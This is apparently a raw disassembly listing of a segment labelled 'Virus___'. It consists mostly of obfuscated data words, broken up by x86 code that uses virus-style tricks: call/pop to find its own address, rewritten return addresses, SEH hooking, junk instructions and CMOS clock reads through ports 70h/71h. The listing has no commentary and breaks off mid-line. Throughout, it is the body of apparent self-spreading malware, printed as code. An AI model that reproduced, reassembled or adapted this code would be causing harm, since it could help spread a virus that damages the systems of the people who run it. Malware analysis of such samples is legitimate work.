9D99C352h, 8B076D7Dh, 5D282DBDh, 0BF669609h, 965052B4h dd 1391BD8Bh, 0B5FF095Dh, 960A564h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 15h, 75C35343h, 0FD95FF0Ah, 0F095D05h dd 784h, 0BB666000h, 61F5E90Fh, 0A558B58Bh, 8B660960h dd 4D858BFBh, 0E9095D30h, 6, 5AFE47Bh, 868946A9h, 0C4h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0F9C35545h dd 640941A6h, 0FE8D2DBh, 91000000h, 0CFFB8404h, 1995FE47h dd 472DEC9Eh, 9E884ECh, 4F000000h, 3E8620B8h, 455FDD98h dd 665B5FFCh, 958BFA8Bh, 95D0919h, 3F250BBh, 4C28319h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 1C35747h dd 20078042h, 66603A3Fh, 858BD08Bh, 95D2A31h, 20508961h dd 0FDA8B60h, 8D61D9B7h, 60BBC185h, 57006A09h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1904h, 0C3574700h, 0AA157076h dd 0DF8BEA24h, 0B88689h, 81660000h, 6A38B9E7h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h dd 0B9F83DB9h, 0E72DBF59h, 0B5FF66CDh, 960A564h, 0FFF9B70Fh dd 5D14C995h, 52006A09h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1904h, 0C3524200h, 0DCE5FA75h, 0BB506104h, 20297C9h dd 6A243489h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 14042444h, 43000000h, 0F5AC353h, 1B8Ah, 12E96000h, 59000000h dd 349D069Fh, 11FF97BDh, 864EE295h, 941881CCh, 616160D5h dd 0A564B5FFh, 6A0960h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 180424h, 51410000h, 2942A0C3h, 8D316FD4h, 95D1621h dd 308DBD8Bh, 95FF095Dh, 95D137Dh, 6CBF6657h, 0BD835F2Ch dd 95D19D1h, 21840F00h, 50000000h, 3489D98Bh, 0E9850924h dd 60095D02h, 0AE9h, 47A8F200h, 0A0C26B21h, 66A1DDB2h dd 615AECBFh, 0A564B5FFh, 6A0960h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 190424h, 56460000h, 754B7EC3h, 0F2518E8h dd 68Bh, 0ED9D3300h, 89095D22h, 5D129595h, 9595FF09h, 6A095D2Fh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 18042444h dd 47000000h, 5CB1C357h, 0F8C015E6h, 0FFF88B66h, 60A564B5h dd 53006A09h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h dd 0C3534300h, 81F3EBDAh, 7A3BB7F5h, 179595FFh, 6A095Dh dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1D0424h, 51410000h dd 6865F9C3h, 3EE8EB19h, 60915C0Ah, 0E9D88B66h, 0Fh, 37AAC6ACh dd 0B4655D39h, 22040714h, 61C7C0B1h, 22499531h, 0BD83095Dh dd 95D0B11h, 42840F02h, 8B000000h, 5D221585h, 53006A09h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h dd 5F2067B6h, 23258589h, 9D8B095Dh, 95D06C5h, 500000C6h dd 0C7C5D781h, 295F6CBDh, 5D265DBDh, 4585C709h, 95D05h dd 31000000h, 5D195585h, 0F2A8E909h, 6AFFFFh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 170424h, 56460000h, 0CD9657C3h dd 11E997h, 9CEA0000h, 5FF3A918h, 0FBBCE79Bh, 9D788C7h dd 8B20C422h, 50006AC1h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1D04h, 0C3504000h, 118F0452h, 38EC5B05h, 858D12E5h dd 95D2239h, 7A5BD23h, 8B90095Dh, 299050DFh, 5D07158Dh dd 0C8B0F09h, 0F000000h, 685h, 25BD8B00h, 6A095D26h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h dd 0FB8B474Eh, 490AB960h, 0D8815660h, 49FCFA1Eh, 6A006A61h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 17042444h dd 46000000h, 0EE04C356h, 0BF0F73F2h, 2A858DDAh, 660961C1h dd 89379FBFh, 5D0C9195h, 5C08309h, 50DBE780h, 52DB87BFh dd 24048971h, 81858B60h, 0B4095D03h, 6A61DFh, 12E8h, 2E789E00h dd 69EFC990h, 49A07FB7h, 713B040Eh, 8BCD23B6h, 5D0CF1BDh dd 6A5F09h, 68D0Fh, 95290000h, 95D0581h, 85195FFh, 11E9095Dh dd 0B7000000h, 0F3AAFA18h, 1E8A6316h, 6ADDC589h, 726728C4h dd 914C8D8Dh, 8F0F0960h, 6, 5799589h, 8D89095Dh, 95D2EE9h dd 6AD1FFh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h dd 52420000h, 695D55C3h, 0BF661915h, 8D0F7755h, 4, 8997BB66h dd 971BD83h, 0F01095Dh, 0BD85h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1C04h, 0C3564600h, 0B58F680Bh dd 8CB30F6Dh, 0FDF8B15h, 687h, 219D8B00h, 6A095D1Fh, 52006A02h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h dd 0B87B8586h, 0AC6FBDFCh, 1071B589h, 5090095Dh, 6A90DA8Bh dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 17042444h dd 47000000h, 8289C357h, 0BD8BF81Fh, 95D0809h, 2A5D8589h dd 95FF095Dh, 95D14C9h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Dh, 88C35141h, 1083F807h, 1AF36EC5h, 0E2D8BFD9h dd 0A6E9143Bh, 0E800000Dh, 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 961C134h mov di, si mov di, 472Bh lea eax, [ebp+9608AE2h] jbe $+6 nop jmp loc_5B6C90 ; --------------------------------------------------------------------------- dd 6610CED7h, 7E98C993h, 2F0F9912h ; --------------------------------------------------------------------------- loc_5B6C90: ; CODE XREF: Virus___:005B6C7Fj push eax call sub_5B6CA8 fist dword ptr [ebp+0Ch] inc ebp lock cld mov ch, 0DCh hlt ; --------------------------------------------------------------------------- db 0E4h dd 4A4914D6h, 7E11C605h ; =============== S U B R O U T I N E ======================================= sub_5B6CA8 proc near ; CODE XREF: Virus___:005B6C91p mov edi, ecx pop ebx nop push 0 push eax call sub_5B6CB7 and [eax-3Dh], bl sub_5B6CA8 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5B6CB7 proc near ; CODE XREF: sub_5B6CA8+7p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 15h inc eax push eax retn sub_5B6CB7 endp ; --------------------------------------------------------------------------- mov al, 6Fh ja loc_5B6CD5 xor [ebp+95D2AB5h], ebx loc_5B6CD5: ; CODE XREF: Virus___:005B6CC9j movsx edi, ax mov [ebp+95D23EDh], ebx push large dword ptr fs:0 push 0 push ebp call sub_5B6CF0 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B6CF0 proc near ; CODE XREF: Virus___:005B6CE8p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 18h inc ebp push ebp retn sub_5B6CF0 endp ; --------------------------------------------------------------------------- dd 82A580B0h, 0FBBF0F23h, 258964h, 66000000h, 0F9C3DB81h dd 216985FFh, 0DE8095Dh, 4F000000h, 0A181270Ch, 839791EFh dd 0A2CF3061h, 100D8589h, 6A5F095Dh, 51006AFFh, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1704h, 0C3514100h, 8F1F6F26h dd 0D98B6657h, 39B5FF5Bh, 33095D10h, 5D2355BDh, 8595FF09h dd 0E9095D03h, 113h, 2B5BD89h, 0B0095Dh, 1F5DBD8Bh, 70E6095Dh dd 71E4DA8Bh, 342FDF81h, 613C3D00h, 0F1830Fh, 85090000h dd 95D1A01h, 66C8B60Fh, 13CECB81h, 6BAh, 0EF816600h, 0C18B55E3h dd 0F6DBD8Bh, 0E8C1095Dh, 79BB6604h, 0E2F76607h, 2BDFBF0Fh dd 0CE8C8h, 1FF0000h, 151F153Fh, 80CF7E7Fh, 6FBB064Ah dd 5F5FB83Fh, 0E960D18Bh, 10h, 0B839E81Ch, 0E11BAF9Ah dd 0D8DCF92Ah, 62939133h, 91D88166h, 88E96176h, 80000000h dd 858B9AE3h, 1, 271BD2Bh, 13E9095Dh, 93000000h, 0A73C94D1h dd 39951EBEh, 862D45E3h, 0A978AFE1h, 0C083FA93h, 0DA8B6607h dd 8900C083h, 5D0421B5h, 0FD03B09h, 1183h, 0F7BF6600h dd 41E9DDh, 81560000h, 838830CFh, 8D8B5F67h, 0FFFFFFFFh dd 83F98B66h, 840F01E1h, 27h, 33D99589h, 0A583095Dh, 0FFFFFFFFh dd 8C0FFEh, 8B000000h, 5D0775BDh, 1958909h, 66000000h dd 0E9DE8Bh, 8D000000h, 61302CB5h, 51006A09h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 0FD2A8D0Ah dd 0CA4B8516h, 8F0F6A8Dh, 6, 8BD9D8Bh, 6A095Dh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 4AC35646h, 13E8C5h dd 0ED370000h, 6C9C7E7Ah, 11D9E5B9h, 0A8323B2Fh, 91FB8687h dd 9EBF660Bh, 81665F3Ah, 0FFF8F8DBh, 5D11B195h, 55006A09h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h dd 0DACA6649h, 50C2BBF0h, 3830FB5h, 66000000h, 3CB9DE8Bh dd 0FC000011h, 0FE8B6660h, 0F2E4EBBh, 0E183617Eh, 0E19D01FCh dd 0FC095D16h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 17h, 19C35040h, 0E9D84E5Ch, 9, 1FCB39EDh, 1C39444Bh dd 6AC02BC6h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1A042444h, 46000000h, 0C61FC356h, 8257496Bh, 499D8BEDh dd 80095D15h, 0BA3EDBh, 6A000000h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1C042444h, 40000000h, 4AFDC350h dd 40521771h, 89B4108Ch, 5D2FA185h, 13E909h, 761A0000h dd 58139D9Fh, 0EA1BA201h, 0B531B021h, 6BCFEFFFh, 0C233ADC0h dd 0D003E8D1h, 7504E983h, 70BB60F4h, 804106D0h, 6A611DEFh dd 3E85000h, 20000000h, 8958C358h, 81042444h, 16042444h dd 40000000h, 3ABAC350h, 0F2BF668Eh, 880DBCh, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h dd 7EE667C3h, 0BD8B9150h, 95D1441h, 8B9AEF80h, 5D091995h dd 53006A09h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h dd 0C3534300h, 9B78E1D9h, 0E81CDB3Eh, 1009BD89h, 8D8B095Dh dd 95D1349h, 0AE5BD8Bh, 8B50095Dh, 3188BC2h, 8B188BC1h dd 3E8D1C1h, 58188BC2h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 19h, 2AC35242h, 0BFF7FA2Fh, 68C0F19h, 89000000h dd 5D03A1BDh, 6E909h, 3BA00000h, 0F5EF056Dh, 4820Fh, 0BB660000h dd 0BD8380CAh, 95D3169h, 5C840F00h, 66000000h, 0B8941ABBh dd 0 ; --------------------------------------------------------------------------- push 0 push ebx call sub_5B70FF and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B70FF proc near ; CODE XREF: Virus___:005B70F7p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Dh inc ebx push ebx retn sub_5B70FF endp ; --------------------------------------------------------------------------- rol cl, 0ACh xchg eax, edi xor al, 8Fh shl dword ptr [ecx+46h], 6 movsx edi, ax lea ecx, [ebp+95D4D92h] push 0 push esi call sub_5B712D and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B712D proc near ; CODE XREF: Virus___:005B7125p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 15h inc esi push esi retn sub_5B712D endp ; --------------------------------------------------------------------------- db 77h, 0D9h, 0FFh dd 0A5BD8BE1h, 83095D28h, 5D15F9BDh, 840F0009h, 463h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 31C35141h, 0C073AA7Ah dd 0C9EF8169h, 83562AF1h, 5D15F9BDh, 840F0109h, 44Ah, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 88C35242h, 1FBDEC4Eh dd 9AD9BC0Dh, 0F9BD83F8h, 3095D15h, 3E2860Fh, 6A0000h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h dd 0D8D54CC3h, 0BFDAB70Fh, 1D30CAD4h, 14E860h, 88030000h dd 4355E083h, 0FB1280C7h, 290C794Dh, 104E240Eh, 0EE9C1E6h dd 51000000h, 826A2BA0h, 0DD6BAA82h, 0A8A96FE0h, 8C665FE4h dd 0D9BD8BD9h, 80095D31h, 890F04E1h, 8, 71B50157h, 5F095D27h dd 1DE38166h, 0FC90A8Ah, 10984h, 0AD9D8B00h, 8B095D24h dd 5D2C0D85h, 52006A09h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1B04h, 0C3524200h, 7426501Dh, 0FCED3927h, 27658533h dd 0B70F095Dh, 8E950F8h, 34000000h, 0E063341Bh, 89AFFF75h dd 0C3812404h, 69994E84h, 6A006Ah, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 160424h, 51410000h, 0D4DFC8C3h, 1870Fh, 50FC0000h dd 5F48D380h, 0DE285368h, 5E566036h, 0AE8h, 49E52900h dd 0F271A19h, 60B442EDh, 81615A61h, 2BAC2434h, 7DBB36C1h dd 0FF3BB673h, 5D0FAD95h, 56006A09h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1404h, 0C3564600h, 9E8EDh, 62D90000h dd 0E5CA335Bh, 660922ECh, 65EFCF81h, 6485895Bh, 6A0960A5h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 18042444h dd 46000000h, 0CEE9C356h, 0E921DD32h, 1CFh, 941B509h, 858B095Dh dd 960A55Ch, 11DD8589h, 0C7095Dh, 18h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 19h, 5CC35343h, 0C3C94CA0h, 0F9858988h dd 8B095D20h, 60A560B5h, 57006A09h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1704h, 0C3574700h, 0E426406Ch, 12880Fh, 880F0000h dd 0Ch, 7E9h, 94718900h, 1BB4829Ch, 3151858Bh, 9D0B095Dh dd 95D1AA9h, 95890689h, 95D04BDh, 2C0D858Bh, 0EE9095Dh dd 19000000h, 0ED0F271Ah, 9D5BB442h, 10D8237h, 446893Dh dd 0F59D3352h, 5B095D05h, 0EE9h, 9782D100h, 0BB4937BAh dd 0C7D6A9F5h, 96CD1F7Dh, 68E0Fh, 870F0000h, 0 dd 0BD8B9650h, 95D2075h, 5CB5FFFCh, 310960A5h, 5D2A91BDh dd 4E809h, 3FF0000h, 0DE8A001Fh, 890F50h, 8B000000h, 51042444h dd 2CBE50BFh, 8B5B75h, 0DE9h, 0BB99E600h, 0E90CB925h, 75A810F0h dd 4489EA37h, 8B660424h, 6A58FBh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 150424h, 56460000h, 89E27BC3h, 5D0C559Dh dd 28D0F09h, 8A000000h, 64858DDCh, 600960A5h, 0BE9h, 56DBA800h dd 68A4CF42h, 0FD6B8A3Eh, 9615850h, 5D14ADB5h, 50509009h dd 905B98B7h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 15h, 22C35242h, 1D953182h, 0FF095D31h, 5D0FAD95h, 57006A09h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h dd 10E950E1h, 1C000000h, 0B1FB6668h, 0CED787DFh, 0C9936610h dd 61127E98h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 16h, 0E1C35040h, 5DBBD739h, 0C71C4987h, 5D15F985h, 309h dd 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h dd 0C3524200h, 58F96E6Bh, 6DEBBC77h, 0A564BD83h, 0F000960h dd 3784h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1D04h, 0C3574700h, 0BAE98665h, 6F1F0F09h, 28E996BEh dd 0E8000000h, 7, 7B99264Fh, 5F92881Ch, 110C3050h, 1114400h dd 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h dd 110430h, 0C1011164h, 443010E8h, 64000211h, 83580311h dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h dd 30011164h, 0E9831104h, 0EBE77504h, 0FC08B00h, 684h dd 0D9D8B00h, 23095D21h, 5D06E59Dh, 8160F509h, 0D0292AC6h dd 10E929h, 626A0000h, 128FAF0Eh, 89E71EC0h, 1F4286ECh dd 836110B8h, 5D15F9BDh, 850F0309h, 3C4h, 0F9EA8A60h, 64BD8361h dd 960A5h, 3B2840Fh, 0B5FF0000h, 960A564h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 38C35646h, 67E4B3E7h dd 0BD8B088Eh, 95D11D5h, 0A4195FFh, 8D89095Dh, 95D26C9h dd 0A558B58Bh, 0BF660960h, 6C7C6DAh, 10001h, 0F50D88Bh dd 48Ch, 9FBB6600h, 243489E3h, 11E9h, 0A26F9300h, 85630709h dd 2097C836h, 9F6FA6EFh, 0B5FFC6DCh, 960A564h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 61C35242h, 9FDEC540h dd 6AC7FDB5h, 853150C6h, 95D24C9h, 0FD95FF5Fh, 6A095D05h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1D042444h dd 46000000h, 8E31C356h, 19B22472h, 324D2ABDh, 862393BFh dd 0C1BD8B17h, 8B095D26h, 60A558B5h, 840F5309h, 0 ; --------------------------------------------------------------------------- pop ebx mov eax, [ebp+95D304Dh] push 0 push edi call sub_5B7736 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B7736 proc near ; CODE XREF: Virus___:005B772Ep arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 17h inc edi push edi retn sub_5B7736 endp ; --------------------------------------------------------------------------- dw 6CFCh ; --------------------------------------------------------------------------- sbb edi, esp mov [esi+0C4h], eax movzx edi, bx mov edx, [ebp+95D0919h] push 0 push edi call sub_5B7764 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B7764 proc near ; CODE XREF: Virus___:005B775Cp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ah inc edi push edi retn sub_5B7764 endp ; --------------------------------------------------------------------------- adc byte ptr [esi+1Bh], 3Eh pop ebx das and eax, 0CE11C9BBh xor [edi], cl mov bh, 0DAh add edx, 4 mov di, 2BBBh mov [eax+20h], edx mov [ebp+95D2645h], edi lea eax, [ebp+960BBC1h] jo loc_5B77A5 mov [ebp+95D2971h], ecx loc_5B77A5: ; CODE XREF: Virus___:005B7799j mov [esi+0B8h], eax mov bh, ah push 0 push 0 push ebx call sub_5B77BA and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B77BA proc near ; CODE XREF: Virus___:005B77B2p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Bh inc ebx push ebx retn sub_5B77BA endp ; --------------------------------------------------------------------------- dw 0FA4Ch dd 794EBF76h, 8960A74Fh, 5D03118Dh, 0D98B6609h, 64B5FF61h dd 0E80960A5h, 0Eh, 2D738D9Dh, 63A5C3D4h, 0DBB0163h, 0BB668520h dd 0FF5FA638h, 5D14C995h, 55006A09h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 0F2FBE9F9h dd 8B50A3BEh, 243489DAh, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 14h, 2CC35747h, 860Fh, 0B5FF0000h, 960A564h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 35C35545h dd 1B023BDFh, 0D8B70F0Ah, 14E8h, 0DB2A7B00h, 1176C428h dd 0CD433B4Eh, 640AD6E2h, 0A2FAE0A2h, 619D0BA6h, 5F095D18h dd 137D95FFh, 0D98B095Dh, 19D1BD83h, 0F00095Dh, 5F84h dd 6800F00h, 89000000h, 5D2EE9B5h, 8B669609h, 7E850D8h dd 18000000h, 0C11BCF9Fh, 0EE82675h, 2000000h, 7B947681h dd 55183889h, 5BE0C92Bh, 2F55BB39h, 5F5B544Eh, 50006A96h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h dd 74129B8Ch, 9D8BB8F3h, 95D06BDh, 0A564B5FFh, 81660960h dd 0FFB210F3h, 5D2F9595h, 51006A09h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 478CA502h dd 2FAE5055h, 0D6BB66F5h, 64B5FF1Eh, 6A0960A5h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h dd 778EC350h, 0FF293222h, 5D179595h, 3BBB6609h, 15BD8911h dd 83095D14h, 5D0B11BDh, 840F0209h, 5Eh, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 1Ah, 5CC35141h, 0E0C6D21Fh dd 858981BEh, 95D2395h, 2215858Bh, 0B589095Dh, 95D1341h dd 6A0000C6h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 18042444h, 40000000h, 0F469C350h, 8B390FD3h, 5D29019Dh dd 85C7F809h, 95D0545h, 0 dd 8F19BB66h, 0FFF33EE9h, 6800FFFh, 89000000h, 5D129595h dd 8BC18B09h, 39858DDEh, 6A095D22h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1C042444h, 40000000h, 1799C350h dd 0FD322EAAh, 8B0472AEh, 5D04B99Dh, 8B665009h, 240489FBh dd 6ADA8Ah, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 17h, 6EC35747h, 8BDB6DC9h, 5D2F659Dh, 68F0F09h, 33000000h dd 5D0C859Dh, 6A006A09h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1C042444h, 46000000h, 0E830C356h, 0E983DF0Dh dd 0E8420D9Dh, 8, 0F977EB7Eh, 7467BAE7h, 8D895BFCh, 95D1991h dd 0D11F858Dh, 6A0961h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 160424h, 53430000h, 0BDDFE7C3h, 0B5896057h, 95D08A1h dd 83F55F61h, 6A05C0h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 150424h, 57470000h, 0F4373C3h, 6690D8BFh, 505D47BBh dd 38E0Fh, 8B660000h, 6AF990F9h, 2880F00h, 8B000000h, 6A006ADFh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 19042444h dd 45000000h, 8856C355h, 0AEDC071Ch, 9E9h, 0DA5D4C00h dd 0DADE46E9h, 95FFF72Ch, 95D0851h, 0DA0ABB66h, 914C8D8Dh dd 6A0960h, 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h dd 50400000h, 838DADC3h, 877BDAD7h, 8D296C23h, 95D1361h dd 8D89D1FFh, 95D1021h, 9E9h, 3A508100h, 807909ECh, 0BD8374D4h dd 95D0971h, 0A8850F01h, 6A000000h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 1857C357h dd 14E90F9Ah, 0FE000000h, 1664BE4Dh, 3971145Eh, 0F268B847h dd 0FFD0A33Dh, 6AB5A850h, 56006A02h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1804h, 0C3564600h, 16A8DBAAh dd 0EE8BAh, 222D0000h, 0AC752780h, 0F5F52F6Bh, 0F04414C3h dd 19718D89h, 505B095Dh, 8B240489h, 5D063DBDh, 0C995FF09h dd 6A095D14h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1C042444h, 42000000h, 7020C352h, 0AE43861Fh, 0E973FB18h dd 0DCEh, 0E8h, 0ED815D00h, 961D129h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 19h, 0D0C35040h, 0AEB82D8Fh, 0CB816007h dd 6B9B398Fh, 2A81858Bh, 8D61095Dh, 608AE285h, 51006A09h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h dd 79D9FD7Fh, 0B3F3730h, 0FA8B903Fh, 46FABB50h, 6A906677h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h dd 47000000h, 7AFEC357h, 0FF968961h, 0B7E2CBC6h, 35FF64B8h dd 0 ; --------------------------------------------------------------------------- mov ebx, 2496C7B9h mov large fs:0, esp call sub_5B7D0F icebp xchg eax, esi test dword ptr [ebx], 598EE6F7h cmp ch, [ebx-644BFD96h] ; =============== S U B R O U T I N E ======================================= sub_5B7D0F proc near ; CODE XREF: Virus___:005B7CFCp mov bx, 7EE0h pop edi inc dword ptr [ebp+95D2169h] or [ebp+95D11C1h], esi loc_5B7D20: ; CODE XREF: Virus___:loc_5B89F1j push 0FFFFFFFFh mov ebx, 798D8E66h push dword ptr [ebp+95D20CDh] push 0 push ebx call sub_5B7D38 and [ebx-3Dh], bl sub_5B7D0F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5B7D38 proc near ; CODE XREF: sub_5B7D0F+21p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 15h inc ebx push ebx retn sub_5B7D38 endp ; --------------------------------------------------------------------------- mov al, ds:0DD9589B3h xor bl, [ebp+9] call dword ptr [ebp+95D0385h] jmp loc_5B7EA7 ; --------------------------------------------------------------------------- or di, 5330h mov al, 0 jmp loc_5B7D71 ; --------------------------------------------------------------------------- db 2Bh ; --------------------------------------------------------------------------- imul ebx, [ebx+30h], 5F254979h popf push ebx loc_5B7D71: ; CODE XREF: Virus___:005B7D62j mov di, 0B026h out 70h, al ; CMOS Memory: ; used by real-time clock mov edi, [ebp+95D09B1h] mov edi, eax in al, 71h ; CMOS Memory push ebx jmp loc_5B7D91 ; --------------------------------------------------------------------------- db 0F9h dd 4B44CDC5h, 2ED4E2EBh db 0B4h ; --------------------------------------------------------------------------- loc_5B7D91: ; CODE XREF: Virus___:005B7D82j pop ebx cmp al, 61h jnb loc_5B7EA7 push ebx mov [ebp+95D31A5h], ebx pop edi movzx ecx, al ja loc_5B7DB1 add [ebp+95D04F5h], ebx loc_5B7DB1: ; CODE XREF: Virus___:005B7DA5j mov edx, 6 adc ebx, 789B508Bh mov eax, ecx mov bh, 29h shr eax, 4 jnp $+6 mul dx or bh, 5 add bh, 0F3h sub ecx, eax call near ptr loc_5B7DE6+1 mov cl, [edx-37974117h] imul ebp, edx, 55512467h loc_5B7DE6: ; CODE XREF: Virus___:005B7DD4p cmp al, [eax-74A43725h] ror dword ptr [ecx+5D305185h], 1 or ecx, ebp scasd ; --------------------------------------------------------------------------- db 3 dup(0) ; --------------------------------------------------------------------------- mov ebx, edx mov ebx, 5E82855Fh mov eax, [ebp+8] mov [ebp+95D03D9h], ebx add eax, 7 xor [ebp+95D24A5h], ebx mov ebx, ecx add eax, 0 mov ebx, [ebp+95D0571h] cmp edx, eax jnb loc_5B7E7A jmp loc_5B7E3D ; --------------------------------------------------------------------------- dd 358FE8A2h, 9F02D71Bh, 45FD5349h, 118962C7h db 7Fh ; --------------------------------------------------------------------------- loc_5B7E3D: ; CODE XREF: Virus___:005B7E27j jmp loc_5B7E55 ; --------------------------------------------------------------------------- dw 9696h dd 1151283Eh, 0D8A028D7h, 4C705737h, 51AD5439h db 3Ch ; --------------------------------------------------------------------------- loc_5B7E55: ; CODE XREF: Virus___:loc_5B7E3Dj jmp loc_5B7EA7 ; --------------------------------------------------------------------------- dw 14E8h dd 20000000h, 6FC1D527h, 78F1C340h, 0B606360Bh, 0D4EE4E1Ah dd 8907224Ah, 5D08F5BDh db 9, 5Bh ; --------------------------------------------------------------------------- loc_5B7E7A: ; CODE XREF: Virus___:005B7E21j mov ecx, [ebp-1] mov edi, ebx and ecx, 1 jz loc_5B7EA7 clc and dword ptr [ebp-1], 0FFFFFFFEh adc bh, 9Ch mov [ebp+8], edx sub [ebp+95D3379h], eax jmp $+5 loc_5B7EA7: ; CODE XREF: Virus___:005B7D56j ; Virus___:005B7D94j ... lea esi, [ebp+9614168h] mov ebx, [ebp+95D18D5h] push 0 mov [ebp+95D02C9h], esi call dword ptr [ebp+95D11B1h] mov ebx, 76EF8456h mov ecx, 102Ah push 0 push edx call sub_5B7ED6 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B7ED6 proc near ; CODE XREF: Virus___:005B7ECEp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Bh inc edx push edx retn sub_5B7ED6 endp ; --------------------------------------------------------------------------- dw 0DC36h dd 544A9ECFh, 3536C24h, 5D0FEDBDh, 14E95F09h, 99000000h dd 0C36ED572h, 0C11ED247h, 0E0B1C2E2h, 96A7E4F3h, 831AB31Dh dd 0DA8BFCE1h, 320CBBFCh, 0B82A74h, 29000000h, 5D2F19BDh dd 